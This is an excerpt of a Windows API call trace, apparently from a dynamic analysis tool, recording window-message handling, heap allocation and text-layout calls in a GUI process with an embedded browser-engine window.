[0117.089] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0117.089] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0117.089] PtInRect (lprc=0x1cf5d0, pt=0x2e5) returned 1
[0117.089] GetCurrentThreadId () returned 0x4e0
[0117.089] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.089] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0117.089] GetMessageTime () returned 43134
[0117.089] GetMessagePos () returned 0x1c4031f
[0117.089] GetCapture () returned 0x0
[0117.089] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0117.089] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0117.089] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0117.089] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.089] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.089] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0117.089] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.089] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.089] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0117.089] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0117.089] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0117.089] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0117.090] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.090] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.090] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0117.090] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0117.090] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.090] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.090] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0117.090] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0117.090] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.090] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.090] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0117.090] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.090] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.090] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.090] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.090] IntersectRect (in: lprcDst=0x1ce07c, lprcSrc1=0x1ce07c, lprcSrc2=0x1cdf34 | out: lprcDst=0x1ce07c) returned 1
[0117.090] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce09c | out: lprcDst=0x1cf0e0) returned 1
[0117.090] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.090] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.090] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce0bc | out: lprcDst=0x1cf0e0) returned 1
[0117.090] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.090] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.090] IntersectRect (in: lprcDst=0x1cdcc4, lprcSrc1=0x1cdcc4, lprcSrc2=0x1cdb60 | out: lprcDst=0x1cdcc4) returned 1
[0117.090] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.090] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.090] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcb4 | out: lprcDst=0x1cf0e0) returned 1
[0117.090] IntersectRect (in: lprcDst=0x1cdb70, lprcSrc1=0x1cdb70, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdb70) returned 1
[0117.090] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcd4 | out: lprcDst=0x1cf0e0) returned 1
[0117.090] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0117.091] LsSetDoc () returned 0x0
[0117.091] LsCreateLine () returned 0x0
[0117.091] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.091] LsDestroyLine () returned 0x0
[0117.091] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.091] IntersectRect (in: lprcDst=0x1cdf40, lprcSrc1=0x1cdf40, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdf40) returned 1
[0117.091] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.091] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.091] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.091] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0117.091] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.091] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.091] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0117.091] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0117.091] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0117.092] LsSetDoc () returned 0x0
[0117.092] LsCreateLine () returned 0x0
[0117.092] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.092] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.092] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.092] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.092] LsdnFinishRegular () returned 0x0
[0117.092] LsQueryLinePointPcp () returned 0x0
[0117.092] LsDestroyLine () returned 0x0
[0117.092] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.092] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.092] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.093] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.093] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.093] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.093] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.093] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.093] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.093] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.093] IntersectRect (in: lprcDst=0x1ce3b0, lprcSrc1=0x1ce3b0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce3b0) returned 1
[0117.093] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.093] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0117.093] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.093] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.093] PtInRect (lprc=0x1cf27c, pt=0x11cf6) returned 0
[0117.093] LoadCursorA (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005
[0117.093] GetCursor () returned 0x10005
[0117.093] GetCurrentThreadId () returned 0x4e0
[0117.093] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.093] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.093] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.093] GetMessageTime () returned 43165
[0117.093] GetMessagePos () returned 0x1c4031f
[0117.093] GetCapture () returned 0x0
[0117.093] GetCurrentThreadId () returned 0x4e0
[0117.093] GetCurrentThreadId () returned 0x4e0
[0117.093] GetCurrentThreadId () returned 0x4e0
[0117.094] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0117.094] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0117.094] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0117.094] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.094] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.094] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0117.094] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.094] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.094] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0117.094] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0117.094] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0117.094] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0117.094] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.094] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.094] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0117.094] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0117.094] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.094] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.094] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0117.094] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0117.094] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.094] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.094] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0117.094] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.094] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.094] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.094] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.094] IntersectRect (in: lprcDst=0x1ce104, lprcSrc1=0x1ce104, lprcSrc2=0x1cdfbc | out: lprcDst=0x1ce104) returned 1
[0117.094] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf168) returned 1
[0117.094] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.094] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.094] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf168) returned 1
[0117.094] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.094] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.094] IntersectRect (in: lprcDst=0x1cdd4c, lprcSrc1=0x1cdd4c, lprcSrc2=0x1cdbe8 | out: lprcDst=0x1cdd4c) returned 1
[0117.094] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.094] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.095] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd3c | out: lprcDst=0x1cf168) returned 1
[0117.095] IntersectRect (in: lprcDst=0x1cdbf8, lprcSrc1=0x1cdbf8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdbf8) returned 1
[0117.095] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd5c | out: lprcDst=0x1cf168) returned 1
[0117.095] LsSetDoc () returned 0x0
[0117.095] LsCreateLine () returned 0x0
[0117.095] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.095] LsDestroyLine () returned 0x0
[0117.095] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.095] IntersectRect (in: lprcDst=0x1cdfc8, lprcSrc1=0x1cdfc8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdfc8) returned 1
[0117.095] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.095] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.095] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.095] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0117.095] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.095] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.095] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0117.095] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0117.095] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0117.096] LsSetDoc () returned 0x0
[0117.096] LsCreateLine () returned 0x0
[0117.096] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.096] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.096] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.096] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.096] LsdnFinishRegular () returned 0x0
[0117.096] LsQueryLinePointPcp () returned 0x0
[0117.096] LsDestroyLine () returned 0x0
[0117.096] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.097] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.097] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.097] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.097] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.097] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.097] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.097] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.097] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.097] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.097] IntersectRect (in: lprcDst=0x1ce438, lprcSrc1=0x1ce438, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce438) returned 1
[0117.097] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.097] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0117.097] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.097] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.097] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0117.097] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0117.097] GetCurrentThreadId () returned 0x4e0
[0117.098] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x17402e5, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0117.098] NtdllDefWindowProc_W () returned 0x0
[0117.098] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0117.098] GetCurrentThreadId () returned 0x4e0
[0117.098] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.098] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.098] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.098] GetCurrentThreadId () returned 0x4e0
[0117.098] GetCurrentThreadId () returned 0x4e0
[0117.098] GetCurrentThreadId () returned 0x4e0
[0117.098] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.099] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.099] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0117.099] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0117.099] PtInRect (lprc=0x1cf5d0, pt=0x2e5) returned 1
[0117.099] GetCurrentThreadId () returned 0x4e0
[0117.099] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.099] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0117.099] GetMessageTime () returned 43165
[0117.099] GetMessagePos () returned 0x1c4031f
[0117.099] GetCapture () returned 0x0
[0117.099] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0117.099] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0117.099] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0117.099] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.099] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.099] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0117.099] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.100] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.100] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0117.100] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0117.100] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0117.100] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0117.100] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.100] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.100] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0117.100] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0117.100] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.100] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.100] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0117.100] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0117.100] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.100] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.100] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0117.100] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.100] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.100] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.100] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.100] IntersectRect (in: lprcDst=0x1ce07c, lprcSrc1=0x1ce07c, lprcSrc2=0x1cdf34 | out: lprcDst=0x1ce07c) returned 1
[0117.100] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce09c | out: lprcDst=0x1cf0e0) returned 1
[0117.100] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.100] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.100] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce0bc | out: lprcDst=0x1cf0e0) returned 1
